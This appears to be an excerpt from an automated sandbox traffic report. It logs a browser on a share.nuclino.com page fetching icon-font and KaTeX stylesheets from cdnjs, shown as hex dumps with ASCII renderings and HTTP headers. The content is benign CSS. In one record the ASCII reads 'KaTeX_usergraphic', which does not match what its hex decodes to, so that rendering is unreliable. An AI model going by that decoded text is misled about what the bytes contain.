2024-10-18 09:18:59 UTC	1369	IN	Data Raw: 6e 74 2d 73 6d 6f 6f 74 68 69 6e 67 3a 61 6e 74 69 61 6c 69 61 73 65 64 3b 2d 6d 6f 7a 2d 6f 73 78 2d 66 6f 6e 74 2d 73 6d 6f 6f 74 68 69 6e 67 3a 67 72 61 79 73 63 61 6c 65 7d 2e 7a 6d 64 69 2d 68 63 2d 6c 67 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 2e 33 33 33 33 33 33 33 33 65 6d 3b 6c 69 6e 65 2d 68 65 69 67 68 74 3a 2e 37 35 65 6d 3b 76 65 72 74 69 63 61 6c 2d 61 6c 69 67 6e 3a 2d 31 35 25 7d 2e 7a 6d 64 69 2d 68 63 2d 32 78 7b 66 6f 6e 74 2d 73 69 7a 65 3a 32 65 6d 7d 2e 7a 6d 64 69 2d 68 63 2d 33 78 7b 66 6f 6e 74 2d 73 69 7a 65 3a 33 65 6d 7d 2e 7a 6d 64 69 2d 68 63 2d 34 78 7b 66 6f 6e 74 2d 73 69 7a 65 3a 34 65 6d 7d 2e 7a 6d 64 69 2d 68 63 2d 35 78 7b 66 6f 6e 74 2d 73 69 7a 65 3a 35 65 6d 7d 2e 7a 6d 64 69 2d 68 63 2d 66 77 7b 77 69 64 74 68 3a 31 Data Ascii: nt-smoothing:antialiased;-moz-osx-font-smoothing:grayscale}.zmdi-hc-lg{font-size:1.33333333em;line-height:.75em;vertical-align:-15%}.zmdi-hc-2x{font-size:2em}.zmdi-hc-3x{font-size:3em}.zmdi-hc-4x{font-size:4em}.zmdi-hc-5x{font-size:5em}.zmdi-hc-fw{width:1
2024-10-18 09:18:59 UTC	1369	IN	Data Raw: 73 66 6f 72 6d 3a 72 6f 74 61 74 65 28 30 64 65 67 29 3b 74 72 61 6e 73 66 6f 72 6d 3a 72 6f 74 61 74 65 28 30 64 65 67 29 7d 31 30 30 25 7b 2d 77 65 62 6b 69 74 2d 74 72 61 6e 73 66 6f 72 6d 3a 72 6f 74 61 74 65 28 2d 33 35 39 64 65 67 29 3b 74 72 61 6e 73 66 6f 72 6d 3a 72 6f 74 61 74 65 28 2d 33 35 39 64 65 67 29 7d 7d 40 6b 65 79 66 72 61 6d 65 73 20 7a 6d 64 69 2d 73 70 69 6e 2d 72 65 76 65 72 73 65 7b 30 25 7b 2d 77 65 62 6b 69 74 2d 74 72 61 6e 73 66 6f 72 6d 3a 72 6f 74 61 74 65 28 30 64 65 67 29 3b 74 72 61 6e 73 66 6f 72 6d 3a 72 6f 74 61 74 65 28 30 64 65 67 29 7d 31 30 30 25 7b 2d 77 65 62 6b 69 74 2d 74 72 61 6e 73 66 6f 72 6d 3a 72 6f 74 61 74 65 28 2d 33 35 39 64 65 67 29 3b 74 72 61 6e 73 66 6f 72 6d 3a 72 6f 74 61 74 65 28 2d 33 35 39 64 Data Ascii: sform:rotate(0deg);transform:rotate(0deg)}100%{-webkit-transform:rotate(-359deg);transform:rotate(-359deg)}}@keyframes zmdi-spin-reverse{0%{-webkit-transform:rotate(0deg);transform:rotate(0deg)}100%{-webkit-transform:rotate(-359deg);transform:rotate(-359d
2024-10-18 09:18:59 UTC	1369	IN	Data Raw: 2e 7a 6d 64 69 2d 61 73 73 69 67 6e 6d 65 6e 74 2d 63 68 65 63 6b 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 27 5c 66 31 30 38 27 7d 2e 7a 6d 64 69 2d 61 73 73 69 67 6e 6d 65 6e 74 2d 6f 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 27 5c 66 31 30 39 27 7d 2e 7a 6d 64 69 2d 61 73 73 69 67 6e 6d 65 6e 74 2d 72 65 74 75 72 6e 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 27 5c 66 31 30 61 27 7d 2e 7a 6d 64 69 2d 61 73 73 69 67 6e 6d 65 6e 74 2d 72 65 74 75 72 6e 65 64 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 27 5c 66 31 30 62 27 7d 2e 7a 6d 64 69 2d 61 73 73 69 67 6e 6d 65 6e 74 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 27 5c 66 31 30 63 27 7d 2e 7a 6d 64 69 2d 61 74 74 61 63 68 6d 65 6e 74 2d 61 6c 74 3a 62 65 66 6f 72 65 7b 63 6f 6e Data Ascii: .zmdi-assignment-check:before{content:'\f108'}.zmdi-assignment-o:before{content:'\f109'}.zmdi-assignment-return:before{content:'\f10a'}.zmdi-assignment-returned:before{content:'\f10b'}.zmdi-assignment:before{content:'\f10c'}.zmdi-attachment-alt:before{con
2024-10-18 09:18:59 UTC	1369	IN	Data Raw: 6e 74 3a 27 5c 66 31 32 61 27 7d 2e 7a 6d 64 69 2d 63 61 73 65 2d 64 6f 77 6e 6c 6f 61 64 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 27 5c 66 31 32 62 27 7d 2e 7a 6d 64 69 2d 63 61 73 65 2d 70 6c 61 79 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 27 5c 66 31 32 63 27 7d 2e 7a 6d 64 69 2d 63 61 73 65 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 27 5c 66 31 32 64 27 7d 2e 7a 6d 64 69 2d 63 61 73 74 2d 63 6f 6e 6e 65 63 74 65 64 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 27 5c 66 31 32 65 27 7d 2e 7a 6d 64 69 2d 63 61 73 74 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 27 5c 66 31 32 66 27 7d 2e 7a 6d 64 69 2d 63 68 61 72 74 2d 64 6f 6e 75 74 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 27 5c 66 31 33 30 27 7d 2e 7a 6d 64 69 2d 63 68 61 Data Ascii: nt:'\f12a'}.zmdi-case-download:before{content:'\f12b'}.zmdi-case-play:before{content:'\f12c'}.zmdi-case:before{content:'\f12d'}.zmdi-cast-connected:before{content:'\f12e'}.zmdi-cast:before{content:'\f12f'}.zmdi-chart-donut:before{content:'\f130'}.zmdi-cha
2024-10-18 09:18:59 UTC	1369	IN	Data Raw: 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 27 5c 66 31 34 61 27 7d 2e 7a 6d 64 69 2d 63 6f 6c 6c 65 63 74 69 6f 6e 2d 69 74 65 6d 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 27 5c 66 31 34 62 27 7d 2e 7a 6d 64 69 2d 63 6f 6c 6c 65 63 74 69 6f 6e 2d 6d 75 73 69 63 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 27 5c 66 31 34 63 27 7d 2e 7a 6d 64 69 2d 63 6f 6c 6c 65 63 74 69 6f 6e 2d 70 64 66 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 27 5c 66 31 34 64 27 7d 2e 7a 6d 64 69 2d 63 6f 6c 6c 65 63 74 69 6f 6e 2d 70 6c 75 73 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 27 5c 66 31 34 65 27 7d 2e 7a 6d 64 69 2d 63 6f 6c 6c 65 63 74 69 6f 6e 2d 73 70 65 61 6b 65 72 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 27 5c 66 31 34 66 27 7d 2e 7a 6d 64 69 2d Data Ascii: fore{content:'\f14a'}.zmdi-collection-item:before{content:'\f14b'}.zmdi-collection-music:before{content:'\f14c'}.zmdi-collection-pdf:before{content:'\f14d'}.zmdi-collection-plus:before{content:'\f14e'}.zmdi-collection-speaker:before{content:'\f14f'}.zmdi-
2024-10-18 09:18:59 UTC	1369	IN	Data Raw: 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 27 5c 66 31 36 64 27 7d 2e 7a 6d 64 69 2d 66 75 6e 63 74 69 6f 6e 73 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 27 5c 66 31 36 65 27 7d 2e 7a 6d 64 69 2d 67 61 73 2d 73 74 61 74 69 6f 6e 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 27 5c 66 31 36 66 27 7d 2e 7a 6d 64 69 2d 67 65 73 74 75 72 65 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 27 5c 66 31 37 30 27 7d 2e 7a 6d 64 69 2d 67 6c 6f 62 65 2d 61 6c 74 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 27 5c 66 31 37 31 27 7d 2e 7a 6d 64 69 2d 67 6c 6f 62 65 2d 6c 6f 63 6b 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 27 5c 66 31 37 32 27 7d 2e 7a 6d 64 69 2d 67 6c 6f 62 65 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 27 5c 66 31 37 33 27 7d 2e 7a 6d 64 Data Ascii: ore{content:'\f16d'}.zmdi-functions:before{content:'\f16e'}.zmdi-gas-station:before{content:'\f16f'}.zmdi-gesture:before{content:'\f170'}.zmdi-globe-alt:before{content:'\f171'}.zmdi-globe-lock:before{content:'\f172'}.zmdi-globe:before{content:'\f173'}.zmd
2024-10-18 09:18:59 UTC	1369	IN	Data Raw: 66 31 39 30 27 7d 2e 7a 6d 64 69 2d 6c 6f 63 6b 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 27 5c 66 31 39 31 27 7d 2e 7a 6d 64 69 2d 6d 61 69 6c 2d 72 65 70 6c 79 2d 61 6c 6c 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 27 5c 66 31 39 32 27 7d 2e 7a 6d 64 69 2d 6d 61 69 6c 2d 72 65 70 6c 79 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 27 5c 66 31 39 33 27 7d 2e 7a 6d 64 69 2d 6d 61 69 6c 2d 73 65 6e 64 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 27 5c 66 31 39 34 27 7d 2e 7a 6d 64 69 2d 6d 61 6c 6c 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 27 5c 66 31 39 35 27 7d 2e 7a 6d 64 69 2d 6d 61 70 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 27 5c 66 31 39 36 27 7d 2e 7a 6d 64 69 2d 6d 65 6e 75 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 Data Ascii: f190'}.zmdi-lock:before{content:'\f191'}.zmdi-mail-reply-all:before{content:'\f192'}.zmdi-mail-reply:before{content:'\f193'}.zmdi-mail-send:before{content:'\f194'}.zmdi-mall:before{content:'\f195'}.zmdi-map:before{content:'\f196'}.zmdi-menu:before{content
2024-10-18 09:18:59 UTC	1369	IN	Data Raw: 2e 7a 6d 64 69 2d 72 65 66 72 65 73 68 2d 61 6c 74 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 27 5c 66 31 62 35 27 7d 2e 7a 6d 64 69 2d 72 65 66 72 65 73 68 2d 73 79 6e 63 2d 61 6c 65 72 74 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 27 5c 66 31 62 36 27 7d 2e 7a 6d 64 69 2d 72 65 66 72 65 73 68 2d 73 79 6e 63 2d 6f 66 66 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 27 5c 66 31 62 37 27 7d 2e 7a 6d 64 69 2d 72 65 66 72 65 73 68 2d 73 79 6e 63 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 27 5c 66 31 62 38 27 7d 2e 7a 6d 64 69 2d 72 65 66 72 65 73 68 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 27 5c 66 31 62 39 27 7d 2e 7a 6d 64 69 2d 72 6f 6c 6c 65 72 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 27 5c 66 31 62 61 27 7d 2e 7a 6d 64 69 Data Ascii: .zmdi-refresh-alt:before{content:'\f1b5'}.zmdi-refresh-sync-alert:before{content:'\f1b6'}.zmdi-refresh-sync-off:before{content:'\f1b7'}.zmdi-refresh-sync:before{content:'\f1b8'}.zmdi-refresh:before{content:'\f1b9'}.zmdi-roller:before{content:'\f1ba'}.zmdi
2024-10-18 09:18:59 UTC	1369	IN	Data Raw: 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 27 5c 66 31 64 36 27 7d 2e 7a 6d 64 69 2d 74 61 62 2d 75 6e 73 65 6c 65 63 74 65 64 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 27 5c 66 31 64 37 27 7d 2e 7a 6d 64 69 2d 74 61 62 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 27 5c 66 31 64 38 27 7d 2e 7a 6d 64 69 2d 74 61 67 2d 63 6c 6f 73 65 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 27 5c 66 31 64 39 27 7d 2e 7a 6d 64 69 2d 74 61 67 2d 6d 6f 72 65 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 27 5c 66 31 64 61 27 7d 2e 7a 6d 64 69 2d 74 61 67 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 27 5c 66 31 64 62 27 7d 2e 7a 6d 64 69 2d 74 68 75 6d 62 2d 64 6f 77 6e 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 27 5c 66 31 64 63 27 7d 2e 7a 6d 64 69 2d 74 Data Ascii: fore{content:'\f1d6'}.zmdi-tab-unselected:before{content:'\f1d7'}.zmdi-tab:before{content:'\f1d8'}.zmdi-tag-close:before{content:'\f1d9'}.zmdi-tag-more:before{content:'\f1da'}.zmdi-tag:before{content:'\f1db'}.zmdi-thumb-down:before{content:'\f1dc'}.zmdi-t

Timestamp	Bytes transferred	Direction	Data
2024-10-18 09:18:59 UTC	566	OUT	GET /ajax/libs/KaTeX/0.16.9/katex.min.css HTTP/1.1 Host: cdnjs.cloudflare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://share.nuclino.com sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: style Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-18 09:18:59 UTC	939	IN	HTTP/1.1 200 OK Date: Fri, 18 Oct 2024 09:18:59 GMT Content-Type: text/css; charset=utf-8 Transfer-Encoding: chunked Connection: close Access-Control-Allow-Origin: * Cache-Control: public, max-age=30672000 ETag: W/"651b4556-d46" Last-Modified: Mon, 02 Oct 2023 22:33:58 GMT cf-cdnjs-via: cfworker/kv Cross-Origin-Resource-Policy: cross-origin Timing-Allow-Origin: * X-Content-Type-Options: nosniff CF-Cache-Status: MISS Expires: Wed, 08 Oct 2025 09:18:59 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=1S%2Bhu9gzcc0asKcFXxRzKn%2FkCUV27Gcb9eaOqbQ%2FF%2F5jtfOY7zZEAdpL%2BUViRpJIV6T8gYEzrGIuIgp%2FL6WqL1BQydNL2HgdqV2oQNB7%2Fkjikl0ZlvBiUUy9ZeBRVrVdYvHAYd5L"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0.01,"report_to":"cf-nel","max_age":604800} Strict-Transport-Security: max-age=15780000 Server: cloudflare CF-RAY: 8d4771b6392c4644-DFW alt-svc: h3=":443"; ma=86400
2024-10-18 09:18:59 UTC	430	IN	Data Raw: 35 61 39 63 0d 0a 40 66 6f 6e 74 2d 66 61 63 65 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 4b 61 54 65 58 5f 41 4d 53 3b 66 6f 6e 74 2d 73 74 79 6c 65 3a 6e 6f 72 6d 61 6c 3b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 34 30 30 3b 73 72 63 3a 75 72 6c 28 66 6f 6e 74 73 2f 4b 61 54 65 58 5f 41 4d 53 2d 52 65 67 75 6c 61 72 2e 77 6f 66 66 32 29 20 66 6f 72 6d 61 74 28 22 77 6f 66 66 32 22 29 2c 75 72 6c 28 66 6f 6e 74 73 2f 4b 61 54 65 58 5f 41 4d 53 2d 52 65 67 75 6c 61 72 2e 77 6f 66 66 29 20 66 6f 72 6d 61 74 28 22 77 6f 66 66 22 29 2c 75 72 6c 28 66 6f 6e 74 73 2f 4b 61 54 65 58 5f 41 4d 53 2d 52 65 67 75 6c 61 72 2e 74 74 66 29 20 66 6f 72 6d 61 74 28 22 74 72 75 65 74 79 70 65 22 29 7d 40 66 6f 6e 74 2d 66 61 63 65 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 4b 61 54 Data Ascii: 5a9c@font-face{font-family:KaTeX_AMS;font-style:normal;font-weight:400;src:url(fonts/KaTeX_AMS-Regular.woff2) format("woff2"),url(fonts/KaTeX_AMS-Regular.woff) format("woff"),url(fonts/KaTeX_AMS-Regular.ttf) format("truetype")}@font-face{font-family:KaT
2024-10-18 09:18:59 UTC	1369	IN	Data Raw: 54 65 58 5f 43 61 6c 69 67 72 61 70 68 69 63 2d 42 6f 6c 64 2e 74 74 66 29 20 66 6f 72 6d 61 74 28 22 74 72 75 65 74 79 70 65 22 29 7d 40 66 6f 6e 74 2d 66 61 63 65 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 4b 61 54 65 58 5f 43 61 6c 69 67 72 61 70 68 69 63 3b 66 6f 6e 74 2d 73 74 79 6c 65 3a 6e 6f 72 6d 61 6c 3b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 34 30 30 3b 73 72 63 3a 75 72 6c 28 66 6f 6e 74 73 2f 4b 61 54 65 58 5f 43 61 6c 69 67 72 61 70 68 69 63 2d 52 65 67 75 6c 61 72 2e 77 6f 66 66 32 29 20 66 6f 72 6d 61 74 28 22 77 6f 66 66 32 22 29 2c 75 72 6c 28 66 6f 6e 74 73 2f 4b 61 54 65 58 5f 43 61 6c 69 67 72 61 70 68 69 63 2d 52 65 67 75 6c 61 72 2e 77 6f 66 66 29 20 66 6f 72 6d 61 74 28 22 77 6f 66 66 22 29 2c 75 72 6c 28 66 6f 6e 74 73 2f 4b 61 54 65 58 Data Ascii: TeX_usergraphic-Bold.ttf) format("truetype")}@font-face{font-family:KaTeX_usergraphic;font-style:normal;font-weight:400;src:url(fonts/KaTeX_usergraphic-Regular.woff2) format("woff2"),url(fonts/KaTeX_usergraphic-Regular.woff) format("woff"),url(fonts/KaTeX
2024-10-18 09:18:59 UTC	1369	IN	Data Raw: 61 6c 69 63 2e 77 6f 66 66 29 20 66 6f 72 6d 61 74 28 22 77 6f 66 66 22 29 2c 75 72 6c 28 66 6f 6e 74 73 2f 4b 61 54 65 58 5f 4d 61 69 6e 2d 49 74 61 6c 69 63 2e 74 74 66 29 20 66 6f 72 6d 61 74 28 22 74 72 75 65 74 79 70 65 22 29 7d 40 66 6f 6e 74 2d 66 61 63 65 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 4b 61 54 65 58 5f 4d 61 69 6e 3b 66 6f 6e 74 2d 73 74 79 6c 65 3a 6e 6f 72 6d 61 6c 3b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 34 30 30 3b 73 72 63 3a 75 72 6c 28 66 6f 6e 74 73 2f 4b 61 54 65 58 5f 4d 61 69 6e 2d 52 65 67 75 6c 61 72 2e 77 6f 66 66 32 29 20 66 6f 72 6d 61 74 28 22 77 6f 66 66 32 22 29 2c 75 72 6c 28 66 6f 6e 74 73 2f 4b 61 54 65 58 5f 4d 61 69 6e 2d 52 65 67 75 6c 61 72 2e 77 6f 66 66 29 20 66 6f 72 6d 61 74 28 22 77 6f 66 66 22 29 2c 75 72 6c Data Ascii: alic.woff) format("woff"),url(fonts/KaTeX_Main-Italic.ttf) format("truetype")}@font-face{font-family:KaTeX_Main;font-style:normal;font-weight:400;src:url(fonts/KaTeX_Main-Regular.woff2) format("woff2"),url(fonts/KaTeX_Main-Regular.woff) format("woff"),url
2024-10-18 09:18:59 UTC	1369	IN	Data Raw: 29 20 66 6f 72 6d 61 74 28 22 77 6f 66 66 32 22 29 2c 75 72 6c 28 66 6f 6e 74 73 2f 4b 61 54 65 58 5f 53 61 6e 73 53 65 72 69 66 2d 52 65 67 75 6c 61 72 2e 77 6f 66 66 29 20 66 6f 72 6d 61 74 28 22 77 6f 66 66 22 29 2c 75 72 6c 28 66 6f 6e 74 73 2f 4b 61 54 65 58 5f 53 61 6e 73 53 65 72 69 66 2d 52 65 67 75 6c 61 72 2e 74 74 66 29 20 66 6f 72 6d 61 74 28 22 74 72 75 65 74 79 70 65 22 29 7d 40 66 6f 6e 74 2d 66 61 63 65 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 4b 61 54 65 58 5f 53 63 72 69 70 74 3b 66 6f 6e 74 2d 73 74 79 6c 65 3a 6e 6f 72 6d 61 6c 3b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 34 30 30 3b 73 72 63 3a 75 72 6c 28 66 6f 6e 74 73 2f 4b 61 54 65 58 5f 53 63 72 69 70 74 2d 52 65 67 75 6c 61 72 2e 77 6f 66 66 32 29 20 66 6f 72 6d 61 74 28 22 77 6f 66 66 Data Ascii: ) format("woff2"),url(fonts/KaTeX_SansSerif-Regular.woff) format("woff"),url(fonts/KaTeX_SansSerif-Regular.ttf) format("truetype")}@font-face{font-family:KaTeX_Script;font-style:normal;font-weight:400;src:url(fonts/KaTeX_Script-Regular.woff2) format("woff
2024-10-18 09:18:59 UTC	1369	IN	Data Raw: 72 6c 28 66 6f 6e 74 73 2f 4b 61 54 65 58 5f 54 79 70 65 77 72 69 74 65 72 2d 52 65 67 75 6c 61 72 2e 77 6f 66 66 32 29 20 66 6f 72 6d 61 74 28 22 77 6f 66 66 32 22 29 2c 75 72 6c 28 66 6f 6e 74 73 2f 4b 61 54 65 58 5f 54 79 70 65 77 72 69 74 65 72 2d 52 65 67 75 6c 61 72 2e 77 6f 66 66 29 20 66 6f 72 6d 61 74 28 22 77 6f 66 66 22 29 2c 75 72 6c 28 66 6f 6e 74 73 2f 4b 61 54 65 58 5f 54 79 70 65 77 72 69 74 65 72 2d 52 65 67 75 6c 61 72 2e 74 74 66 29 20 66 6f 72 6d 61 74 28 22 74 72 75 65 74 79 70 65 22 29 7d 2e 6b 61 74 65 78 7b 74 65 78 74 2d 72 65 6e 64 65 72 69 6e 67 3a 61 75 74 6f 3b 66 6f 6e 74 3a 6e 6f 72 6d 61 6c 20 31 2e 32 31 65 6d 20 4b 61 54 65 58 5f 4d 61 69 6e 2c 54 69 6d 65 73 20 4e 65 77 20 52 6f 6d 61 6e 2c 73 65 72 69 66 3b 6c 69 6e 65 Data Ascii: rl(fonts/KaTeX_Typewriter-Regular.woff2) format("woff2"),url(fonts/KaTeX_Typewriter-Regular.woff) format("woff"),url(fonts/KaTeX_Typewriter-Regular.ttf) format("truetype")}.katex{text-rendering:auto;font:normal 1.21em KaTeX_Main,Times New Roman,serif;line
2024-10-18 09:18:59 UTC	1369	IN	Data Raw: 7d 2e 6b 61 74 65 78 20 2e 6d 61 74 68 62 6f 6c 64 66 72 61 6b 2c 2e 6b 61 74 65 78 20 2e 74 65 78 74 62 6f 6c 64 66 72 61 6b 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 4b 61 54 65 58 5f 46 72 61 6b 74 75 72 3b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 37 30 30 7d 2e 6b 61 74 65 78 20 2e 6d 61 74 68 74 74 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 4b 61 54 65 58 5f 54 79 70 65 77 72 69 74 65 72 7d 2e 6b 61 74 65 78 20 2e 6d 61 74 68 73 63 72 2c 2e 6b 61 74 65 78 20 2e 74 65 78 74 73 63 72 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 4b 61 54 65 58 5f 53 63 72 69 70 74 7d 2e 6b 61 74 65 78 20 2e 6d 61 74 68 73 66 2c 2e 6b 61 74 65 78 20 2e 74 65 78 74 73 66 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 4b 61 54 65 58 5f 53 61 6e 73 53 65 72 69 66 7d 2e 6b 61 74 65 78 20 2e 6d 61 74 Data Ascii: }.katex .mathboldfrak,.katex .textboldfrak{font-family:KaTeX_Fraktur;font-weight:700}.katex .mathtt{font-family:KaTeX_Typewriter}.katex .mathscr,.katex .textscr{font-family:KaTeX_Script}.katex .mathsf,.katex .textsf{font-family:KaTeX_SansSerif}.katex .mat
2024-10-18 09:18:59 UTC	1369	IN	Data Raw: 65 20 2e 6f 76 65 72 6c 69 6e 65 2d 6c 69 6e 65 2c 2e 6b 61 74 65 78 20 2e 72 75 6c 65 2c 2e 6b 61 74 65 78 20 2e 75 6e 64 65 72 6c 69 6e 65 20 2e 75 6e 64 65 72 6c 69 6e 65 2d 6c 69 6e 65 7b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 70 78 7d 2e 6b 61 74 65 78 20 2e 6d 73 70 61 63 65 7b 64 69 73 70 6c 61 79 3a 69 6e 6c 69 6e 65 2d 62 6c 6f 63 6b 7d 2e 6b 61 74 65 78 20 2e 63 6c 61 70 2c 2e 6b 61 74 65 78 20 2e 6c 6c 61 70 2c 2e 6b 61 74 65 78 20 2e 72 6c 61 70 7b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 3b 77 69 64 74 68 3a 30 7d 2e 6b 61 74 65 78 20 2e 63 6c 61 70 3e 2e 69 6e 6e 65 72 2c 2e 6b 61 74 65 78 20 2e 6c 6c 61 70 3e 2e 69 6e 6e 65 72 2c 2e 6b 61 74 65 78 20 2e 72 6c 61 70 3e 2e 69 6e 6e 65 72 7b 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 Data Ascii: e .overline-line,.katex .rule,.katex .underline .underline-line{min-height:1px}.katex .mspace{display:inline-block}.katex .clap,.katex .llap,.katex .rlap{position:relative;width:0}.katex .clap>.inner,.katex .llap>.inner,.katex .rlap>.inner{position:absolu
2024-10-18 09:18:59 UTC	1369	IN	Data Raw: 74 65 78 20 2e 66 6f 6e 74 73 69 7a 65 2d 65 6e 73 75 72 65 72 2e 72 65 73 65 74 2d 73 69 7a 65 31 2e 73 69 7a 65 37 2c 2e 6b 61 74 65 78 20 2e 73 69 7a 69 6e 67 2e 72 65 73 65 74 2d 73 69 7a 65 31 2e 73 69 7a 65 37 7b 66 6f 6e 74 2d 73 69 7a 65 3a 32 2e 34 65 6d 7d 2e 6b 61 74 65 78 20 2e 66 6f 6e 74 73 69 7a 65 2d 65 6e 73 75 72 65 72 2e 72 65 73 65 74 2d 73 69 7a 65 31 2e 73 69 7a 65 38 2c 2e 6b 61 74 65 78 20 2e 73 69 7a 69 6e 67 2e 72 65 73 65 74 2d 73 69 7a 65 31 2e 73 69 7a 65 38 7b 66 6f 6e 74 2d 73 69 7a 65 3a 32 2e 38 38 65 6d 7d 2e 6b 61 74 65 78 20 2e 66 6f 6e 74 73 69 7a 65 2d 65 6e 73 75 72 65 72 2e 72 65 73 65 74 2d 73 69 7a 65 31 2e 73 69 7a 65 39 2c 2e 6b 61 74 65 78 20 2e 73 69 7a 69 6e 67 2e 72 65 73 65 74 2d 73 69 7a 65 31 2e 73 69 7a Data Ascii: tex .fontsize-ensurer.reset-size1.size7,.katex .sizing.reset-size1.size7{font-size:2.4em}.katex .fontsize-ensurer.reset-size1.size8,.katex .sizing.reset-size1.size8{font-size:2.88em}.katex .fontsize-ensurer.reset-size1.size9,.katex .sizing.reset-size1.siz
2024-10-18 09:18:59 UTC	1369	IN	Data Raw: 78 20 2e 73 69 7a 69 6e 67 2e 72 65 73 65 74 2d 73 69 7a 65 32 2e 73 69 7a 65 31 30 7b 66 6f 6e 74 2d 73 69 7a 65 3a 33 2e 34 35 36 36 36 36 36 37 65 6d 7d 2e 6b 61 74 65 78 20 2e 66 6f 6e 74 73 69 7a 65 2d 65 6e 73 75 72 65 72 2e 72 65 73 65 74 2d 73 69 7a 65 32 2e 73 69 7a 65 31 31 2c 2e 6b 61 74 65 78 20 2e 73 69 7a 69 6e 67 2e 72 65 73 65 74 2d 73 69 7a 65 32 2e 73 69 7a 65 31 31 7b 66 6f 6e 74 2d 73 69 7a 65 3a 34 2e 31 34 36 36 36 36 36 37 65 6d 7d 2e 6b 61 74 65 78 20 2e 66 6f 6e 74 73 69 7a 65 2d 65 6e 73 75 72 65 72 2e 72 65 73 65 74 2d 73 69 7a 65 33 2e 73 69 7a 65 31 2c 2e 6b 61 74 65 78 20 2e 73 69 7a 69 6e 67 2e 72 65 73 65 74 2d 73 69 7a 65 33 2e 73 69 7a 65 31 7b 66 6f 6e 74 2d 73 69 7a 65 3a 2e 37 31 34 32 38 35 37 31 65 6d 7d 2e 6b 61 74 Data Ascii: x .sizing.reset-size2.size10{font-size:3.45666667em}.katex .fontsize-ensurer.reset-size2.size11,.katex .sizing.reset-size2.size11{font-size:4.14666667em}.katex .fontsize-ensurer.reset-size3.size1,.katex 